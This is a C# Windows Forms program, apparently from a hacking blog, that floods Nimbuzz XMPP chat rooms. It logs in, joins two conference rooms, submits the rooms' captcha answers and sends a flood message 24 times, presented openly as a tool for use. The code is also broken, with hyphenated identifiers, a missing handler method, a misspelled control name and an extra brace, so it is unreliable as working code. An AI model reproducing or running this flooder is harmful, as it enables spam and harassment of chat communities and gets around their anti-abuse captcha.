/*Use The Below Lines of Code To Make A Mutli Chat Room Flooder
REQUIRMENT
* MicroSoft Visual C#
* AgsXMPP.dll [Reference]
* VisualStyler [For Skin Lovers]
*/
using agsXMPP;
using agsXMPP.protocol.client;
using agsXMPP.Xml.Dom;
using tof-multi-room-flooder.Properties;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
namespace tof-multi-room-flooder
{
public class Form1 : Form
{
private XmppClientConnection tofy;
private Random random = new Random();
public Form1()
{
this.InitializeComponent();
}
private void login-id-button_Click(object sender, EventArgs e)
{
this.tofy.Open(id.Text, this.password.Text, "TOF-TEAM" + random.Next(0,555));
this.tofy.OnLogin += new ObjectHandler(this.Login);
this.tofy.OnAuthError += new XmppElementHandler(this.failed);
this.tofy.OnClose += new ObjectHandler(this.dc);
this.tofy.OnMessage += new MessageHandler(this.OnMessage1);
this.tofy.OnMessage += new MessageHandler(this.OnMessage2);
}
private void Login(object sender)
{
if (base.InvokeRequired)
{
base.BeginInvoke(new ObjectHandler(this.Login), new object[]
{
sender
});
}
else
{
this.username.BackColor = Color.Green;
}
}
private void failed(object sender, Element e)
{
if (base.InvokeRequired)
{
base.BeginInvoke(new XmppElementHandler(this.failed), new object[]
{
sender,
e
});
}
else
{
this.username.BackColor = Color.Red;
}
}
private void dc(object sender)
{
if (base.InvokeRequired)
{
base.BeginInvoke(new ObjectHandler(this.dc), new object[]
{
sender
});
}
else
{
this.username.BackColor = Color.Yellow;
}
}
private void OnMessage1(object sender, agsXMPP.protocol.client.Message msg)
{
if (base.InvokeRequired)
{
base.BeginInvoke(new MessageHandler(this.OnMessage), new object[]
{
sender,
msg
});
}
else if (msg.Type == MessageType.groupchat)
{
if (msg.From.Resource == "admin")
{
this.pictureBox1.Load(msg.Body.Replace("Enter the right answer to start chatting. ", ""));
}
}
}
private void OnMessage2(object sender, agsXMPP.protocol.client.Message msg)
{
if (base.InvokeRequired)
{
base.BeginInvoke(new MessageHandler(this.OnMessage), new object[]
{
sender,
msg
});
}
else if (msg.Type == MessageType.groupchat)
{
if (msg.From.Resource == "admin")
{
this.pictureBo2.Load(msg.Body.Replace("Enter the right answer to start chatting. ", ""));
}
}
}
private void join-to-to-room-button_Click(object sender, EventArgs e)
{
this.tofy.Send("<presence to='"+this.roomname1.Text+"@conference.nimbuzz.com/"+this.id.Text+"'></presence>");
this.tofy.Send("<presence to='"+this.roomname2.Text+"@conference.nimbuzz.com/"+this.id.Text+"'></presence>");
}
private void start-flood-button_Click(object sender, EventArgs e)
{
this.tofy.Send("<message to='"+this.roomname1.Text+"@conference.nimbuzz.com' type='groupchat'><body>"+captcha1.Text+"</body></message>'"
);
this.tofy.Send("<message to='"+this.roomname2.Text+"@conference.nimbuzz.com' type='groupchat'><body>"+captcha2.Text+"</body></message>'"
);
for (int j = 1; j <= 12; j++)
{
this.tofy.Send("<message to='"+this.roomname1.Text+"@conference.nimbuzz.com' type='groupchat'><body>"+floodmessage.Text+"</body></message>'");
this.tofy.Send("<message to='"+this.roomname2.Text+"@conference.nimbuzz.com' type='groupchat'><body>"+floodmessage.Text+"</body></message>'");
}
this.tofy.Send("<presence type='unavailable' to='"+this.roomname1.Text+"@conference.nimbuzz.com/"+this.id.Text+"'></presence>");
this.tofy.Send("<presence type='unavailable' to='"+this.roomname2.Text+"@conference.nimbuzz.com/"+this.id.Text+"'></presence>");
}
private void Form1_Load(object sender, EventArgs e)
{
MessageBox.Show("Code For Multi Room Flooder");
Process.Start("http://tofnimbuzz.blogspot.in/");
}
private void closeapp-button_Click(object sender, EventArgs e)
{
base.Dispose();
}
private void dc-button_Click(object sender, EventArgs e)
{
this.tofy.Close();
}
private void goto-website-button_Click(object sender, EventArgs e)
{
this.webBrowser1.Navigate("http://tofnimbuzz.blogspot.in/");
}
}
}
}